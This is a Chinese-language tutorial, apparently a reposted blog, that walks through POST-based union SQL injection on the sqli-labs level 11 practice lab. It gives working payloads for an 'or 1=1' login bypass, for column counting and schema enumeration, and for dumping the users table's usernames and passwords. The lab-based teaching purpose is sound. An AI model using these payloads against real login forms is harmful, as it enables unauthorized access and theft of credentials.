MySQL注入-POST-union字符串注入

#POST提交和GET提交

1.get可以被缓存,post不会

2.get提交的参数会保留在浏览器的历史记录中,post提交不会

3.get提交可以被收藏为书签,post提交不会

4.get提交有长度限制,最长为2048个字符。post提交没有长度的要求,不是只运行使用Ascii字符,还可以使用二进制数据

总结:POST提交比GET提交更安全

#Post提交和get提交在数据包中的区别 

POST提交

首先我们 先打开11关,随便输入用户和密码,提交数据

扫描二维码关注公众号,回复: 14914825 查看本文章

并且开启bp抓包

 1.是我们当前提交的数据

POST提交的数据会在下面的部分进行传参,而GET提交的数据会在2的位置,也就是最顶端的位置进行传参

#POST注入原理

1.是否存在注入点(使用万能钥匙)

(1)结果数据包和源码一起分析

 

 使用POST接受username和password的键值

 然后把接受的键值带入数据库中去查询

(2)使用万能钥匙admin' or 1=1 #进行判断

 使用万能密码

admin' or 1=1# 进行绕过测试

原语句

"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

使用万能密码后的语句

"SELECT username, password FROM users WHERE username='admin' or 1=1#' and password='$passwd' LIMIT 0,1";

首先我们使用了’进行闭合并且把后面的内容使用了#注释掉了,在中间使用or 1=1.

那么数据库在判断的时候语句就变成了

Admin or 1=1

那么admin我们不知道是不是存在的但是 or 1=1 是成立的,然后使用#号键,把后面的password的给注释掉了。

因为他前面有使用isset这个函数来判断密码是不是为空,由于我们语句把后面密码的部分给注释掉了,所以只要不让他为空就可以了

 页面显示登陆成功,那么以此判断username存在注入点,可以使用post提交注入,用”or”指令绕过密码验证

#案例演示

sqli-labs-----第11关

1.确定是否存在注入点

使用万能密码

页面正常回显登陆成功

2.获取字段数

uname=admin' group by 2 #&passwd=admin&submit=Submit

 

 提交数据->开启BP抓包

修改数据包->放包

 

页面报错

 

 

页面正常显示,确定一共只有2个字段

3.确定显示字段数

uname=' union select 1,2 # &passwd=admin&submit=Submit

这里注意,因为这是字符型的所以我们要在uname的后面输入一个不存在的值,让他不进行页面的显示,最好使用空格

 

 

 确定页面显示字段为1,2

4.获取当前数据库

uname=' union select (database()),2 #&passwd=admin&submit=Submit

 

 

经过页面回显确定数据库名为security

5.获取数据表

uname= 'union select (select group_concat(table_name)from information_Schema.tables where table_schema="security"),2 #&passwd=admin&submit=Submit

数据表为以上内容

6.获取字段

uname= 'union select (select group_concat(column_name)from information_Schema.columns where table_schema="security" and table_name='users'),2 #&passwd=admin&submit=Submit

 

 以上为所有数据表

7.拖库

name= ' union select (select group_concat(username,'--',password)from security.users),2 #&passwd=admin&submit=Submit

 

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/129908771